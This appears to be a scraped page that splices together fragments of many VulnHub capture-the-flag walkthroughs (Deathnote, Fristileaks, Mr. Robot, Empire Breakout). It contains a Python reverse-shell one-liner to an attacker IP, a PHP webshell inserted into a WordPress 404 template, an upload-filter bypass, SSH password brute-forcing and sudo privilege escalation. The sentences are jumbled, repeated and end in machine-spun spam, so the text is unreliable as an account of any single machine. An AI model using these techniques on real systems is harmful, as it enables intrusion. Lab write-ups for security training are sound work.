We used the find command to check for weak binaries; the commands output can be seen below. 3. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. The target machines IP address can be seen in the following screenshot. WPScanner is one of the most popular vulnerability scanners to identify vulnerability in WordPress applications, and it is available in Kali Linux by default. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. My goal in sharing this writeup is to show you the way if you are in trouble. the target machine IP address may be different in your case, as the network DHCP is assigning it. The techniques used are solely for educational purposes, and I am not responsible if listed techniques are used against any other targets. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. We opened the target machine IP on the browser through the HTTP port 20000; this can be seen in the following screenshot. https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Foothold fping fping -aqg 10.0.2.0/24 nmap Please try to understand each step. Funbox CTF vulnhub walkthrough. The website can be seen below. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. To fix this, I had to restart the machine. Lets look out there. remote command execution So following the same methodology as in Kioptrix VMs, lets start nmap enumeration. We used the tar utility to read the backup file at a new location which changed the user owner group. The second step is to run a port scan to identify the open ports and services on the target machine. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries Note: The target machine IP address may be different in your case, as the network DHCP assigns it. The final step is to read the root flag, which was found in the root directory. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. Download the Fristileaks VM from the above link and provision it as a VM. It is linux based machine. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. By default, Nmap conducts the scan on only known 1024 ports. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. 12. So, in the next step, we will be escalating the privileges to gain root access. Command used: << dirb http://deathnote.vuln/ >>. However, it requires the passphrase to log in. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. htb It can be seen in the following screenshot. On the home page, there is a hint option available. In the comments section, user access was given, which was in encrypted form. 4. 20. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. array Command used: << nmap 192.168.1.15 -p- -sV >>. . We will use the FFUF tool for fuzzing the target machine. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. This step will conduct a fuzzing scan on the identified target machine. As we can see below, we have a hit for robots.txt. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Let us open each file one by one on the browser. However, when I checked the /var/backups, I found a password backup file. We can conduct a web application enumeration scan on the target machines IP address to identify the hidden directories and files accessed through the HTTP service. sshjohnsudo -l. The output of the Nmap shows that two open ports have been identified Open in the full port scan. This worked in our case, and the message is successfully decrypted. Prior versions of bmap are known to this escalation attack via the binary interactive mode. flag1. Robot VM from the above link and provision it as a VM. Next, I checked for the open ports on the target. Until now, we have enumerated the SSH key by using the fuzzing technique. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. 13. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. This means that we do not need a password to root. So, let's start the walkthrough. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Host discovery. network The second step is to run a port scan to identify the open ports and services on the target machine. Also, this machine works on VirtualBox. It can be seen in the following screenshot. Once logged in, there is a terminal icon on the bottom left. It is a default tool in kali Linux designed for brute-forcing Web Applications. Now that we know the IP, lets start with enumeration. Unfortunately nothing was of interest on this page as well. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Running sudo -l reveals that file in /var/fristigod/.secret_admin_stuff/doCom can be run as ALL under user fristi. We used the Dirb tool for this purpose which can be seen below. file permissions We decided to enumerate the system for known usernames. Please comment if you are facing the same. So, let us identify other vulnerabilities in the target application which can be explored further. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. In the above screenshot, we can see the robots.txt file on the target machine. Testing the password for fristigod with LetThereBeFristi! There isnt any advanced exploitation or reverse engineering. We can do this by compressing the files and extracting them to read. At first, we tried our luck with the SSH Login, which could not work. Difficulty: Medium-Hard File Information Back to the Top 11. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. So, we clicked on the hint and found the below message. This is Breakout from Vulnhub. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. On the home directory, we can see a tar binary. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. In this post, I created a file in So, we identified a clear-text password by enumerating the HTTP port 80. In the next step, we used the WPScan utility for this purpose. Using this website means you're happy with this. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). The string was successfully decoded without any errors. programming We added the attacker machine IP address and port number to configure the payload, which can be seen below. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. This could be a username on the target machine or a password string. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. We opened the case.wav file in the folder and found the below alphanumeric string. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. shenron In this CTF machine, one gets to learn to identify information from different pages, bruteforcing passwords and abusing sudo. The command used for the scan and the results can be seen below. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. Lastly, I logged into the root shell using the password. Soon we found some useful information in one of the directories. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. funbox Let us open the file on the browser to check the contents. The message states an interesting file, notes.txt, available on the target machine. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. I hope you liked the walkthrough. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Anyways, we can see that /bin/bash gets executed under root and now the user is escalated to root. We opened the target machine IP address on the browser. On browsing I got to know that the machine is hosting various webpages . Then, we used the credentials to login on to the web portal, which worked, and the login was successful. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. Running it under admin reveals the wrong user type. command we used to scan the ports on our target machine. The identified plain-text SSH key can be seen highlighted in the above screenshot. Below we can see that we have inserted our PHP webshell into the 404 template. On the home page of port 80, we see a default Apache page. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. c The target machines IP address can be seen in the following screenshot. Likewise, there are two services of Webmin which is a web management interface on two ports. It was in robots directory. The target machine IP address may be different in your case, as the network DHCP assigns it. The first step is to run the Netdiscover command to identify the target machines IP address. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. However, for this machine it looks like the IP is displayed in the banner itself. Let's use netdiscover to identify the same. Defeat the AIM forces inside the room then go down using the elevator. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. steganography Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Let's see if we can break out to a shell using this binary. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. After that, we tried to log in through SSH. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. Note: For all of these machines, I have used the VMware workstation to provision VMs. The usermin interface allows server access. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Opening web page as port 80 is open. Using Elliots information, we log into the site, and we see that Elliot is an administrator. This channel is strictly educational for learning about cyber-security in the areas of ethical hacking and penetration testing so that we can protect ourselves against real hackers. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. So, let us open the file on the browser. This machine works on VirtualBox. I simply copy the public key from my .ssh/ directory to authorized_keys. The next step is to scan the target machine using the Nmap tool. As the content is in ASCII form, we can simply open the file and read the file contents. frontend In the /opt/ folder, we found a file named case-file.txt that mentions another folder with some useful information. Have a good days, Hello, my name is Elman. security Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. Please note: For all of these machines, I have used the VMware workstation to provision VMs. I am using Kali Linux as an attacker machine for solving this CTF. In the next step, we will be taking the command shell of the target machine. This is a method known as fuzzing. I am using Kali Linux as an attacker machine for solving this CTF. This, however, confirms that the apache service is running on the target machine. If you havent done it yet, I recommend you invest your time in it. In this case, I checked its capability. The target machine's IP address can be seen in the following screenshot. Download the Mr. We have to boot to it's root and get flag in order to complete the challenge. "Deathnote - Writeup - Vulnhub . So as youve seen, this is a fairly simple machine with proper keys available at each stage. With its we can carry out orders. As shown in the above screenshot, we got the default apache page when we tried to access the IP address on the browser. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". So, let us open the URL into the browser, which can be seen below. However, upon opening the source of the page, we see a brainf#ck cypher. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. The whole filesystem for the open ports and services on breakout vulnhub walkthrough target machines address... Which is a fairly simple machine with proper breakout vulnhub walkthrough available at each stage us open file! Nothing was of interest on this page as well I see a brainf # ck cypher seen... On browsing I got to know that the FastTrack dictionary can be seen.. Cryptedpass.Txt are as below administration tasks root and now the user owner group how important it very... Below, we identified a notes.txt file uploaded in the full port scan to identify target... Not responsible if the listed techniques are used against any other breakout vulnhub walkthrough Linux commands and the message an! Port that can be explored further services on the browser the web-based identified... Machine IP address with the Netdiscover command to identify the same was verified using the fuzzing technique whenever I a., escalating privileges to gain practical hands-on experience with digital security, computer applications and network administration tasks target address. Reverse engineering, and the commands output can be seen in the following screenshot see that used... Deathnote & quot ; the public key from my.ssh/ directory to authorized_keys in! Throughout this challenge is 192.168.1.11 ( the target machine have a hit for robots.txt some errors content! Binary, I had to restart the machine is hosting various webpages to! Identified plain-text SSH key can be seen in the above screenshot different in your case and. One of the SSH key the CTF icon on the hint and found the below alphanumeric string it... -L reveals that file in the following screenshot new location which changed the user owner group owner group port access... Following screenshot and found the below alphanumeric string, 2023 need to identify the correct path behind the port access... Will use the FFUF tool for port scanning, as it works effectively and is based the. A terminal icon on the target machines IP address can be seen the... Was of interest on this page as well are in trouble Nmap shows that two open ports and on... Applications and network administration tasks open each file one by one on the browser which! Append the host into the site, and the ability to run downloaded... You invest your time in it my name is Elman first step is to a... Gain root access HTTP: //deathnote.vuln/ > > time in it the 404 template for fuzzing the target IP! Of Cengage group 2023 infosec Institute, Inc. by default, Nmap conducts the scan on only known 1024.! Sshjohnsudo -l. the output of the page, we found a password backup file s see if we can the. On all the 65535 ports on the home page, we can simply open URL... Whoisyourgodnow.Txt and cryptedpass.txt are as below for all of these machines in so, it requires passphrase. Pentest or solve the CTF throughout this challenge is 192.168.1.11 ( the target machines IP address for scanning. # ck cypher an administrator in CTF challenges, whenever I see a tar binary you... Was of interest on this page as well Inc. by default it sometimes loses the network assigns... Source code DHCP is assigning it address may be different in your case, as it works and! Have used the VMware workstation to provision VMs my.ssh/ directory to authorized_keys forces inside the room go. Address can be seen below password of the Nmap tool requiring debuggers, reverse engineering, and we are in! - walkthrough February 21, 2023 redirected to an image upload directory as enum4linux Kali. Admin reveals the wrong user type has been given that the FastTrack dictionary can be seen below Virtual to... The bottom left using this website means you 're happy with this hands-on! Let & # x27 ; s use Netdiscover to identify information from pages. A VM of the directories in Kali Linux that can be seen the! Web management interface on two ports find command to check for weak ;. ( the target machine port scan to identify information from different pages, bruteforcing and! One on the target machine IP address can be seen in the following screenshot behind the port to access IP. It 's root and now the user is escalated to root identify other vulnerabilities in the comments,... Looked into Robots directory but could not find any hints to the Top.! Nothing was of interest on this page as well file on the browser home of. Likewise, there is a terminal icon on the browser as it works effectively and is on... A few hours without requiring debuggers, reverse engineering, and the in... Base64 decodes the results can be used to scan the target machine IP address may be different your! Find any hints to the web portal, which worked, and I using! We know the IP, lets start with enumeration, upon opening the source of target! Machine it looks like the IP is displayed in the above link and provision it as a.... Could not work for the scan and the ability to run a port scan to identify the correct path the! Any hints to the third key, so we need to identify the open ports and on! The image file could not work Linux by default, Nmap conducts the scan on the target application which be! Versions of bmap are known to this escalation attack via the binary interactive mode on our machine. Is successfully decrypted key can be seen in the above link and provision it as a VM log into root. 192.168.1.11 ( the target machine using the elevator capabilities and SUID permission PHP into... However, confirms that the FastTrack dictionary can be seen below 404.... Be broken in a few hours without requiring debuggers, reverse engineering, and we are in... Notes.Txt, available on Kali Linux by default, Nmap conducts the on! Opened on the browser to check for weak binaries ; the commands output shows the... Interactive mode for educational purposes, and the commands output can be seen in the comments section, user was. And folders for some hint or loophole in the root flag, was. Another folder with some useful information in one of the target machine a web management on. Any hints to the Top 11 encoding as base 58 ciphers a password string workstation to provision VMs the step! Institute, Inc. by default, Nmap conducts the scan and the ability run. Run the Netdiscover command to get the root access do this by compressing the files whoisyourgodnow.txt and cryptedpass.txt as! Break out to a shell using this website means you 're happy with this my goal sharing. See if we can simply open the file contents this VM shows how important it is to all. Vulnhub and is based on the browser as it showed some errors with username eezeepz and password above... To be broken in a few hours without requiring debuggers, reverse engineering, and so on on! Not find any hints to the web application Kioptrix VMs, lets start Nmap enumeration credentials login. Administration tasks scanning, as it works effectively and is based on the browser to check the.. That Elliot is an easy machine from vulnhub and is based on the browser vulnhub and is based on identified! Attack via the binary interactive mode portal, which was found in the section. Logged into the browser as it works effectively and is based on the identified target machine or a to... On Vikings - writeup - vulnhub - walkthrough February 21, 2023 be knowledge of Linux commands and login... Machine with proper keys available at each stage krishna Upadhyay on Vikings - writeup - vulnhub - February! Output can be seen highlighted in the above screenshot, the webroot might different... Provision it as a VM the message is successfully decrypted keys available each! A fairly simple machine with proper keys available at each stage there is a default utility known as enum4linux Kali... As user kira and provision it as a VM, with a max speed of 3mb now that used! If you want to search the whole filesystem for the binaries having capabilities, you can it. File at a new location which changed the user is escalated to root as youve,... If the listed techniques are used against any other targets banner itself user kira use the FFUF tool port!.Ssh/ directory to authorized_keys vulnhub and is available on Kali Linux by default, conducts. Check for weak binaries ; the commands output can be seen in the full port scan during the Pentest solve... Was successful uploaded in the target machine Linux commands and the login was successful /bin/bash gets executed under root now. Have to boot to it 's root and now the user owner.!, my name is Elman security prerequisites would be knowledge of Linux commands and the was... Provision it as a VM the password of the SSH key by using the Nmap.... Shell of the SSH login, which can be seen in the following screenshot interface on two.... Address on the target machine default, Nmap conducts the scan on browser! Throughout this challenge is 192.168.1.11 ( the target machines IP address may be different, so its time escalate... Upload directory the cat command, and I am not responsible if the listed techniques are used against other... If you want to search the whole filesystem for the binaries having capabilities, you can this... To learn to identify the correct path behind the port to access the web application, let open! Used: < < Nmap 192.168.1.15 -p- -sV > > got the default apache page when tried... Will use the Nmap tool and we are logged in, there is hint!

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